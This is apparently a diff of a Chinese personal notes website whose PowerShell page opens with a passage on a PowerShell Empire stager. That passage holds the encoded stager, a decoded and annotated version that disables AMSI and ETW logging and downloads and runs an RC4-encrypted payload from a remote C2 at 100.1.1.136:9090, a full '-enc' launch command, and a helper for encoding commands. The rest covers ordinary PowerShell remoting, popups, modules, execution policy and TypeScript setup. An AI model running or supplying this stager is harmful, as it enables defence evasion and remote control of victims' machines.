\u0000G\u0000e\u0000c\u0000k\u0000o\u0000'\u0000;\u0000$\u0000s\u0000e\u0000r\u0000=\u0000$\u0000(\u0000[\u0000T\u0000e\u0000x\u0000t\u0000.\u0000E\u0000n\u0000c\u0000o\u0000d\u0000i\u0000n\u0000g\u0000]\u0000:\u0000:\u0000U\u0000n\u0000i\u0000c\u0000o\u0000d\u0000e\u0000.\u0000G\u0000e\u0000t\u0000S\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000[\u0000C\u0000o\u0000n\u0000v\u0000e\u0000r\u0000t\u0000]\u0000:\u0000:\u0000F\u0000r\u0000o\u0000m\u0000B\u0000a\u0000s\u0000e\u00006\u00004\u0000S\u0000t\u0000r\u0000i\u0000n\u0000g\u0000(\u0000'\u0000a\u0000A\u0000B\u00000\u0000A\u0000H\u0000Q\u0000A\u0000c\u0000A\u0000A\u00006\u0000A\u0000C\u00008\u0000A\u0000L\u0000w\u0000A\u0000x\u0000A\u0000D\u0000A\u0000A\u0000M\u0000A\u0000A\u0000u\u0000A\u0000D\u0000E\u0000A\u0000L\u0000g\u0000A\u0000x\u0000A\u0000C\u00004\u0000A\u0000M\u0000Q\u0000A\u0000z\u0000A\u0000D\u0000Y\u0000A\u0000O\u0000g\u0000A\u00005\u0000A\u0000D\u0000A\u0000A\u0000O\u0000Q\u0000A\u0000w\u0000A\u0000A\u0000=\u0000=\u0000'\u0000)\u0000)\u0000)\u0000;\u0000$\u0000t\u0000=\u0000'\u0000/\u0000l\u0000o\u0000g\u0000i\u0000n\u0000/\u0000p\u0000r\u0000o\u0000c\u0000e\u0000s\u0000s\u0000.\u0000p\u0000h\u0000p\u0000'\u0000;\u0000$\u0000w\u0000c\u0000.\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000s\u0000.\u0000A\u0000d\u0000d\u0000(\u0000'\u0000U\u0000s\u0000e\u0000r\u0000-\u0000A\u0000g\u0000e\u0000n\u0000t\u0000'\u0000,\u0000$\u0000u\u0000)\u0000;\u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000=\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000W\u0000e\u0000b\u0000R\u0000e\u0000q\u0000u\u0000e\u0000s\u0000t\u0000]\u0000:\u0000:\u0000D\u0000e\u0000f\u0000a\u0000u\u0000l\u0000t\u0000W\u0000e\u0000b\u0000P\u0000r\u0000o\u0000x\u0000y\u0000;\u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000.\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000s\u0000 \u0000=\u0000 \u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000N\u0000e\u0000t\u0000.\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000C\u0000a\u0000c\u0000h\u0000e\u0000]\u0000:\u0000:\u0000D\u0000e\u0000f\u0000a\u0000u\u0000l\u0000t\u0000N\u0000e\u0000t\u0000w\u0000o\u0000r\u0000k\u0000C\u0000r\u0000e\u0000d\u0000e\u0000n\u0000t\u0000i\u0000a\u0000l\u0000s\u0000;\u0000$\u0000S\u0000c\u0000r\u0000i\u0000p\u0000t\u0000:\u0000P\u0000r\u0000o\u0000x\u0000y\u0000 \u0000=\u0000 \u0000$\u0000w\u0000c\u0000.\u0000P\u0000r\u0000o\u0000x\u0000y\u0000;\u0000$\u0000K\u0000=\u0000[\u0000S\u0000y\u0000s\u0000t\u0000e\u0000m\u0000.\u0000T\u0000e\u0000x\u0000t\u0000.\u0000E\u0000n\u0000c\u0000o\u0000d\u0000i\u0000n\u0000g\u0000]\u0000:\u0000:\u0000A\u0000S\u0000C\u0000I\u0000I\u0000.\u0000G\u0000e\u0000t\u0000B\u0000y\u0000t\u0000e\u0000s\u0000(\u0000'\u0000H\u0000u\u0000v\u0000,\u00003\u0000g\u0000t\u0000s\u0000c\u0000}\u0000#\u0000_\u0000E\u0000:\u0000f\u0000F\u0000X\u0000w\u0000n\u00002\u0000b\u0000U\u0000P\u0000V\u0000|\u0000i\u0000M\u0000e\u00000\u0000+\u00005\u0000R\u0000'\u0000)\u0000;\u0000$\u0000R\u0000=\u0000{\u0000$\u0000D\u0000,\u0000$\u0000K\u0000=\u0000$\u0000A\u0000r\u0000g\u0000s\u0000;\u0000$\u0000S\u0000=\u00000\u0000.\u0000.\u00002\u00005\u00005\u0000;\u00000\u0000.\u0000.\u00002\u00005\u00005\u0000|\u0000%\u0000{\u0000$\u0000J\u0000=\u0000(\u0000$\u0000J\u0000+\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000+\u0000$\u0000K\u0000[\u0000$\u0000_\u0000%\u0000$\u0000K\u0000.\u0000C\u0000o\u0000u\u0000n\u0000t\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000J\u0000]\u0000=\u0000$\u0000S\u0000[\u0000$\u0000J\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000_\u0000]\u0000}\u0000;\u0000$\u0000D\u0000|\u0000%\u0000{\u0000$\u0000I\u0000=\u0000(\u0000$\u0000I\u0000+\u00001\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000H\u0000=\u0000(\u0000$\u0000H\u0000+\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000;\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000=\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000,\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000;\u0000$\u0000_\u0000-\u0000b\u0000x\u0000o\u0000r\u0000$\u0000S\u0000[\u0000(\u0000$\u0000S\u0000[\u0000$\u0000I\u0000]\u0000+\u0000$\u0000S\u0000[\u0000$\u0000H\u0000]\u0000)\u0000%\u00002\u00005\u00006\u0000]\u0000}\u0000}\u0000;\u0000$\u0000w\u0000c\u0000.\u0000H\u0000e\u0000a\u0000d\u0000e\u0000r\u0000s\u0000.\u0000A\u0000d\u0000d\u0000(\u0000\"\u0000C\u0000o\u0000o\u0000k\u0000i\u0000e\u0000\"\u0000,\u0000\"\u0000c\u0000H\u0000G\u0000A\u0000f\u0000d\u0000L\u0000Z\u0000D\u0000C\u0000E\u0000t\u0000L\u0000M\u0000K\u0000=\u0000l\u0000L\u0000q\u00008\u0000U\u0000w\u0000i\u0000E\u0000u\u0000z\u0000v\u0000I\u0000Q\u0000D\u00004\u0000j\u00007\u0000p\u00006\u0000I\u0000J\u0000s\u0000h\u0000i\u0000i\u00001\u0000E\u0000=\u0000\"\u0000)\u0000;\u0000$\u0000d\u0000a\u0000t\u0000a\u0000=\u0000$\u0000w\u0000c\u0000.\u0000D\u0000o\u0000w\u0000n\u0000l\u0000o\u0000a\u0000d\u0000D\u0000a\u0000t\u0000a\u0000(\u0000$\u0000s\u0000e\u0000r\u0000+\u0000$\u0000t\u0000)\u0000;\u0000$\u0000i\u0000v\u0000=\u0000$\u0000d\u0000a\u0000t\u0000a\u0000[\u00000\u0000.\u0000.\u00003\u0000]\u0000;\u0000$\u0000d\u0000a\u0000t\u0000a\u0000=\u0000$\u0000d\u0000a\u0000t\u0000a\u0000[\u00004\u0000.\u0000.\u0000$\u0000d\u0000a\u0000t\u0000a\u0000.\u0000l\u0000e\u0000n\u0000g\u0000t\u0000h\u0000]\u0000;\u0000-\u0000j\u0000o\u0000i\u0000n\u0000[\u0000C\u0000h\u0000a\u0000r\u0000[\u0000]\u0000]\u0000(\u0000&\u0000 \u0000$\u0000R\u0000 \u0000$\u0000d\u0000a\u0000t\u0000a\u0000 \u0000(\u0000$\u0000I\u0000V\u0000+\u0000$\u0000K\u0000)\u0000)\u0000|\u0000I\u0000E\u0000X\u0000"
+

里面的 \u0000 是原始命令 utf-16 le 编码后每个英文字符的低字节, powershell -enc 的传入参数即为这种 Base64 编码的 UTF-16 LE 编码的命令

这里直接 base64 解码后看到的这串字符可读性很差, 需要去掉 \u0000 再读, 甚至对于一些(在线的) base64 解码功能来讲, 可能解码后不支持 utf-16 le 的显示而出现乱码

可以使用如下脚本来构造这种编码的命令字符串

import base64
+
+def gen_enc_cmd(plain_cmd: str) -> str:
+    """将 cmd 先 Unicode(UTF-16 LE) 编码然后 base64 编码"""
+    return base64.b64encode(plain_cmd.encode('utf-16-le')).decode()
+
+print(gen_enc_cmd('dir'))
+

去除 \u0000 并规范化后得到:

# 检查 PowerShell 版本是否为 3 及以上
+If ($PSVersionTable.PSVersion.Major -ge 3) {
+    # 禁用 AMSI (Antimalware Scan Interface) 以规避潜在的扫描
+    $Ref = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');
+    $Ref.GetField('amsiInitFailed', 'NonPublic,Static').SetValue($Null, $true);
+
+    # 禁用 PowerShell 的 ETW (Event Tracing for Windows) 日志记录
+    [System.Diagnostics.Eventing.EventProvider].GetField('m_enabled', 'NonPublic,Instance').SetValue(
+        [Ref].Assembly.GetType(
+            'System.Management.Automation.Tracing.PSEtwLogProvider'
+        ).GetField(
+            'etwProvider', 'NonPublic,Static'
+        ).GetValue($null), 
+        0
+    );
+}
+
+# 禁用 HTTP 请求中的 "Expect: 100-Continue" 标头
+[System.Net.ServicePointManager]::Expect100Continue = 0;
+
+# 创建 System.Net.WebClient 类的新实例
+$wc = New-Object System.Net.WebClient;
+
+# 定义用于 HTTP 请求头的用户代理字符串
+$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
+
+# 解码并存储 base64 编码的服务器 URL
+# "h\u0000t\u0000t\u0000p\u0000:\u0000/\u0000/\u00001\u00000\u00000\u0000.\u00001\u0000.\u00001\u0000.\u00001\u00003\u00006\u0000:\u00009\u00000\u00009\u00000\u0000"
+# "http://100.1.1.136:9090"
+$ser = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcAA6AC8ALwAxADAAMAAuADEALgAxAC4AMQAzADYAOgA5ADAAOQAwAA==')));
+
+# 定义目标 URL 路径
+$t = '/login/process.php';
+
+# 将用户代理标头添加到 Web 客户端
+$wc.Headers.Add('User-Agent', $u);
+
+# 配置 Web 客户端以使用默认的系统代理设置
+$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
+$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
+$Script:Proxy = $wc.Proxy;
+
+# 将加密密钥转换为 ASCII 字节
+$K = [System.Text.Encoding]::ASCII.GetBytes('Huv,3gtsc}#_E:fFXwn2bUPV|iMe0+5R');
+
+# 定义用于自定义加密算法的函数
+$R = {
+    $D, $K = $Args;
+    $S = 0..255;
+    0..255 | % {
+        $J = ($J + $S[$_] + $K[$_ % $K.Count]) % 256;
+        $S[$_], $S[$J] = $S[$J], $S[$_];
+    };
+    $D | % {
+        $I = ($I + 1) % 256;
+        $H = ($H + $S[$I]) % 256;
+        $S[$I], $S[$H] = $S[$H], $S[$I];
+        $_ -bxor $S[($S[$I] + $S[$H]) % 256];
+    };
+};
+
+# 将特定的 Cookie 添加到 Web 客户端标头
+$wc.Headers.Add("Cookie", "cHGAfdLZDCEtLMK=lLq8UwiEuzvIQD4j7p6IJshii1E=");
+
+# 从指定的 URL 下载数据并将其存储在 $data 中
+$data = $wc.DownloadData($ser + $t);
+
+# 从下载的数据中提取初始化向量 (IV)
+$iv = $data[0..3];                 
+
+# 从下载的数据中移除 IV
+$data = $data[4..$data.length];
+
+# 使用自定义加密函数对数据进行解密并执行
+-join [Char[]](& $R $data ($IV + $K)) | IEX
+
+
  • [System.Net.ServicePointManager]::Expect100Continue = 0;

    • 在HTTP通信中,客户端可以在发送大量数据之前发送一个 Expect: 100-continue 请求头部,以询问服务器是否准备好接收数据。 服务器可以回复“HTTP/1.1 100 Continue”表示准备好接收,然后客户端继续发送数据。

      这里将其设置为0以禁用 Expect: 100-continue 头部机制,使得客户端发送数据时不再等待服务器的确认

      也许是出于减少上线步骤的考量, 也许是有些防病毒措施对于这个字段有监测点

  • IEX - Invoke-Expression

将上述脚本重新放到编码脚本中跑一遍得到编码后的命令在命令行中执行:

powershell -noP -sta -w 1 -enc  CgAjACAAwGjlZyAAUABvAHcAZQByAFMAaABlAGwAbAAgAEhyLGcvZiZUOk4gADMAIADKU+VOCk4KAEkAZgAgACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApACAAewAKACAAIAAgACAAIwAgAIF5KHUgAEEATQBTAEkAIAAoAEEAbgB0AGkAbQBhAGwAdwBhAHIAZQAgAFMAYwBhAG4AIABJAG4AdABlAHIAZgBhAGMAZQApACAA5U7EiX+QXG8oV4R2a2LPYwoAIAAgACAAIAAkAFIAZQBmACAAPQAgAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAKACAAIAAgACAAJABSAGUAZgAuAEcAZQB0AEYAaQBlAGwAZAAoACcAYQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcALAAgACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAE4AdQBsAGwALAAgACQAdAByAHUAZQApADsACgAKACAAIAAgACAAIwAgAIF5KHUgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIACEdiAARQBUAFcAIAAoAEUAdgBlAG4AdAAgAFQAcgBhAGMAaQBuAGcAIABmAG8AcgAgAFcAaQBuAGQAbwB3AHMAKQAgAOVl11+wi1VfCgAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAgACcATgBvAG4AUAB1AGIAbABpAGMALABJAG4AcwB0AGEAbgBjAGUAJwApAC4AUwBlAHQAVgBhAGwAdQBlACgACgAgACAAIAAgACAAIAAgACAAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AVAByAGEAYwBpAG4AZwAuAFAAUwBFAHQAdwBMAG8AZwBQAHIAbwB2AGkAZABlAHIAJwAKACAAIAAgACAAIAAgACAAIAApAC4ARwBlAHQARgBpAGUAbABkACgACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAIAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwAKACAAIAAgACAAIAAgACAAIAApAC4ARwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACkALAAgAAoAIAAgACAAIAAgACAAIAAgADAACgAgACAAIAAgACkAOwAKAH0ACgAKACMAIACBeSh1IABIAFQAVABQACAA94tCbC1OhHYgACIARQB4AHAAZQBjAHQAOgAgADEAMAAwAC0AQwBvAG4AdABpAG4AdQBlACIAIAAHaDRZCgBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AEUAeABwAGUAYwB0ADEAMAAwAEMAbwBuAHQAaQBuAHUAZQAgAD0AIAAwADsACgAKACMAIAAbUvpeIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAIAB7fIR2sGWeW4tPCgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsACgAKACMAIACaW0lOKHWOTiAASABUAFQAUAAgAPeLQmw0WYR2KHU3YuNOBnRXWyZ7Mk4KACQAdQAgAD0AIAAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsACgAKACMAIADjiQF4dl5YW6hQIABiAGEAcwBlADYANAAgABZ/AXiEdg1noVJoViAAVQBSAEwACgAjACAAIgBoAAAAdAAAAHQAAABwAAAAOgAAAC8AAAAvAAAAMQAAADAAAAAwAAAALgAAADEAAAAuAAAAMQAAAC4AAAAxAAAAMwAAADYAAAA6AAAAOQAAADAAAAA5AAAAMAAAACIACgAjACAAIgBoAHQAdABwADoALwAvADEAMAAwAC4AMQAuADEALgAxADMANgA6ADkAMAA5ADAAIgAKACQAcwBlAHIAIAA9ACAAJAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABBAEEATQBBAEEAdQBBAEQARQBBAEwAZwBBAHgAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATwBnAEEANQBBAEQAQQBBAE8AUQBBAHcAQQBBAD0APQAnACkAKQApADsACgAKACMAIACaW0lO7nYHaCAAVQBSAEwAIADvjYRfCgAkAHQAIAA9ACAAJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsACgAKACMAIAAGXCh1N2LjTgZ0B2g0WfttoFIwUiAAVwBlAGIAIACiWzdi73oKACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAgACQAdQApADsACgAKACMAIABNkW5/IABXAGUAYgAgAKJbN2LveuVOf08oddiepIuEdvt8337jTgZ0votufwoAJAB3AGMALgBQAHIAbwB4AHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQA7AAoAJAB3AGMALgBQAHIAbwB4AHkALgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AQwByAGUAZABlAG4AdABpAGEAbABDAGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA7AAoAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7AAoACgAjACAABlygUsZbxlullGyPYmM6TiAAQQBTAEMASQBJACAAV1uCggoAJABLACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASAB1AHYALAAzAGcAdABzAGMAfQAjAF8ARQA6AGYARgBYAHcAbgAyAGIAVQBQAFYAfABpAE0AZQAwACsANQBSACcAKQA7AAoACgAjACAAmltJTih1jk7qgZpbSU6gUsZbl3vVbIR2/VFwZQoAJABSACAAPQAgAHsACgAgACAAIAAgACQARAAsACAAJABLACAAPQAgACQAQQByAGcAcwA7AAoAIAAgACAAIAAkAFMAIAA9ACAAMAAuAC4AMgA1ADUAOwAKACAAIAAgACAAMAAuAC4AMgA1ADUAIAB8ACAAJQAgAHsACgAgACAAIAAgACAAIAAgACAAJABKACAAPQAgACgAJABKACAAKwAgACQAUwBbACQAXwBdACAAKwAgACQASwBbACQAXwAgACUAIAAkAEsALgBDAG8AdQBuAHQAXQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJABTAFsAJABfAF0ALAAgACQAUwBbACQASgBdACAAPQAgACQAUwBbACQASgBdACwAIAAkAFMAWwAkAF8AXQA7AAoAIAAgACAAIAB9ADsACgAgACAAIAAgACQARAAgAHwAIAAlACAAewAKACAAIAAgACAAIAAgACAAIAAkAEkAIAA9ACAAKAAkAEkAIAArACAAMQApACAAJQAgADIANQA2ADsACgAgACAAIAAgACAAIAAgACAAJABIACAAPQAgACgAJABIACAAKwAgACQAUwBbACQASQBdACkAIAAlACAAMgA1ADYAOwAKACAAIAAgACAAIAAgACAAIAAkAFMAWwAkAEkAXQAsACAAJABTAFsAJABIAF0AIAA9ACAAJABTAFsAJABIAF0ALAAgACQAUwBbACQASQBdADsACgAgACAAIAAgACAAIAAgACAAJABfACAALQBiAHgAbwByACAAJABTAFsAKAAkAFMAWwAkAEkAXQAgACsAIAAkAFMAWwAkAEgAXQApACAAJQAgADIANQA2AF0AOwAKACAAIAAgACAAfQA7AAoAfQA7AAoACgAjACAABlx5cppbhHYgAEMAbwBvAGsAaQBlACAA+22gUjBSIABXAGUAYgAgAKJbN2LvegdoNFkKACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBDAG8AbwBrAGkAZQAiACwAIAAiAGMASABHAEEAZgBkAEwAWgBEAEMARQB0AEwATQBLAD0AbABMAHEAOABVAHcAaQBFAHUAegB2AEkAUQBEADQAagA3AHAANgBJAEoAcwBoAGkAaQAxAEUAPQAiACkAOwAKAAoAIwAgAM5OB2OaW4R2IABVAFIATAAgAAtOfY9wZW5jdl4GXHZRWFuoUChXIAAkAGQAYQB0AGEAIAAtTgoAJABkAGEAdABhACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAHMAZQByACAAKwAgACQAdAApADsACgAKACMAIADOTgtOfY+EdnBlbmMtTtBj1lMdUstZFlMRVM+RIAAoAEkAVgApAAoAJABpAHYAIAA9ACAAJABkAGEAdABhAFsAMAAuAC4AMwBdADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAoACgAjACAAzk4LTn2PhHZwZW5jLU77eWSWIABJAFYACgAkAGQAYQB0AGEAIAA9ACAAJABkAGEAdABhAFsANAAuAC4AJABkAGEAdABhAC4AbABlAG4AZwB0AGgAXQA7AAoACgAjACAAf08odeqBmltJTqBSxlv9UXBl+VtwZW5j249MiOOJxlt2XmdiTIgKAC0AagBvAGkAbgAgAFsAQwBoAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACAAKwAgACQASwApACkAIAB8ACAASQBFAFgACgAKAA==
+

然后即可在 Powershell Empire 的 Server 与 Client 上看到上线提醒与交互

image-20230831180943834

image-20230831181007831

image-20230831181105944


远程连接

Enable-PSRemoting (Microsoft.PowerShell.Core) - PowerShell | Microsoft Learn --- 启用-PSRemoting (Microsoft.PowerShell.Core) - PowerShell |微软学习open in new window

WinRM の TrastedHosts にホストを追加 / 確認 / 削除する : Windows Tips | iPentecopen in new window

WS-Management (WSMan) Remoting in PowerShell - PowerShell | Microsoft Learn --- PowerShell 中的 WS-Management (WSMan) 远程处理 - PowerShell |微软学习open in new window

如果本地和远程都是 Windows 的话, 需要在本地和远程 Windows 上启用 PS Remoteing

image-20230918163201801

然后将远程主机加入到本地 TrustedHosts 中来信任该远程主机

Set-Item wsman:\localhost\Client\TrustedHosts -Value "远程主机ip" -Force
+

连接远程主机:

$sess = New-PSSession -ComputerName [远程主机名或ip] -Credential domain\username
+

image-20231012135531500

可以通过 Get-PSSession 来查看已建立的 session

Get-PSSession
+

image-20230919105638522

要释放这个 session 可以使用 Remove-PSSession 命令

Remove-PSSession $sess
+

可以使用如下命令通过 powershell remote session 执行命令:

Invoke-Command -Session $sess -ScriptBlock {
+  # 在远程计算机上执行的命令
+  pip -V
+}
+

image-20231012140559947

可以看到无法识别 pip, 然而远程主机上是有 pip 的:

image-20231012140646679

这是因为 PSSession 不会自动加载环境变量, 因此还需要加载一下环境变量, 以加载系统环境变量(而非用户环境变量) 为例

# 读取系统环境变量
+$envVariables = [System.Environment]::GetEnvironmentVariables([System.EnvironmentVariableTarget]::Machine)
+    
+foreach ($envVariable in $envVariables.GetEnumerator()) {
+    # 这里需要判空, 因为 SetEnviromentVariable 函数不支持空值, 会报错并退出
+    if (![string]::IsNullOrWhiteSpace($envVariable.Value)) {
+        # 将这些环境变量加载到当前 powershell 进程环境变量中
+        [System.Environment]::SetEnvironmentVariable($envVariable.Key, $envVariable.Value, [System.EnvironmentVariableTarget]::Process)
+    }
+}
+

image-20231012140818961

可以看到加载完环境变量就能成功识别 pip 了

此外, 如果明确知道只需要加载部分环境, 比如只需要加载系统环境中的 Path 变量的话就可以如下操作:

[System.Environment]::SetEnvironmentVariable("Path", [System.Environment]::GetEnvironmentVariable("Path", [System.EnvironmentVariableTarget]::Machine), [System.EnvironmentVariableTarget]::Process)
+

image-20231012142257950


制作提示窗口

PowerShell制作提示窗口_powershell怎么创建弹窗消息-CSDN博客open in new window

可以使用 WScript.Shell 对象制作消息弹窗

$ws = New-Object -ComObject WScript.Shell
+

然后使用期 Popup 方法进行弹窗

object.Popup(strText,[nSecondsToWait],[strTitle],[nType])
+
  • strText :消息窗口所包含的文本信息;
  • nSecondsToWait:等待n秒后该窗口自动关闭,如设置为0,则永不会自动关闭;
  • strTitle:消息窗口的标题;
  • nType:消息窗口的按钮类型及其图标

按钮类型:

描述
0显示“确定”按钮
1显示“确定”+“取消”按钮
2显示“终止”+“重试”+“忽略”按钮
3显示“是”+“否”+“取消”按钮
4显示“是”+“否”按钮
5显示“重试”+“取消”按钮
6显示“重试”+“取消”+“继续”按钮

图标类型:

描述
16img
32img
48img
64img

例如:

$ws = New-Object -ComObject WScript.Shell
+$wsr = $ws.popup("你好吗?",0,"我的窗口",1 + 16)
+

image-20231012174103646


输出信息

Write-Host "未检测到Microsoft Word, 请稍后手动安装 >︿<" -ForegroundColor:Red -BackgroundColor:Black
+

image-20231013142353601


模块

安装模块

Import-Module AtomicTestHarnesses
+

上述命令用于将计算机中已经存在的模块导入到当前 powershell 会话


Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force
+

上述命令用于从 PowerShell Gallery(或其他源) 下载模块, 并将其安装在当前用户指定的范围中

-Force 表示即便模块已存在, 也会重新安装


报错收集

无法加载 xxx.ps1, 因在此系统上禁止运行脚本。有关详细信息,请参阅 关于执行策略 - PowerShell | Microsoft Docsopen in new window 中的 about_Execution_Policies

关于执行策略 - PowerShell | Microsoft Docsopen in new window

Windwos+x -> 以管理员身份运行 PowerShell

# 获取当前策略配置
+get-ExecutionPolicy
+

image-20220824095328309

默认是 Restricted:

  • Windows 客户端计算机的默认执行策略。
  • 允许单个命令,但不允许脚本。
  • 防止运行所有脚本文件,包括格式化和配置文件 () .ps1xml 、模块脚本文件 (.psm1) ,以及 powerShell 配置文件 (.ps1) 。

可以将其改为 RemoteSigned

  • Windows 服务器计算机的默认执行策略。
  • 脚本可以运行。
  • 需要来自受信任的发布者对从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)的数字签名。
  • 不需要对在本地计算机上编写的脚本(而不是从 Internet 下载)进行数字签名。
  • 如果脚本被取消阻止,则运行从 Internet 下载且未签名的脚本,例如使用 Unblock-File cmdlet。
  • 从 Internet 以外的源运行未签名脚本的风险,以及可能是恶意的签名脚本。
# 设置 powershell 的策略
+Set-ExecutionPolicy
+

输入 RemoteSigned 并回车, 输入 y 确认更改;

然后可以 get-ExecutionPolicy 看下是否改动完成

image-20220824095701736


不过这里也许会报错:

image-20231020143414302

可以看到在 UserPolicy 中 ExecutionPolicy 为 Restricted

Set-ExecutionPolicy -Scope UserPolicy UnRestricted
+

image-20231020143846673

+ + + diff --git a/Language/Shell/index.html b/Language/Shell/index.html new file mode 100644 index 0000000000..f52380335a --- /dev/null +++ b/Language/Shell/index.html @@ -0,0 +1,40 @@ + + + + + + + + Shell | DailyNotes + + + + + + +
跳至主要內容

Shell

小于 1 分钟

Shell

Powershell

+ + + diff --git a/Language/TypeScript/TypeScript.html b/Language/TypeScript/TypeScript.html new file mode 100644 index 0000000000..d1938c0207 --- /dev/null +++ b/Language/TypeScript/TypeScript.html @@ -0,0 +1,300 @@ + + + + + + + + TypeScript | DailyNotes + + + + + + +
跳至主要內容

TypeScript

大约 19 分钟

TypeScript


安装

  • 首先要安装 nodejsopen in new window

  • 在命令行执行如下命令以全局安装 TypeScript

    # 安装 typescript
    +npm install –g typescript
    +# 查看当前 typescript 版本
    +tsc --version
    +

教程



类型

基础类型 - TypeScript 中文手册 (bootcss.com)open in new window

在 TypeScript 中声明变量类型 - Learn | Microsoft Docsopen in new window

image-20210717150202370

image-20220216153825753
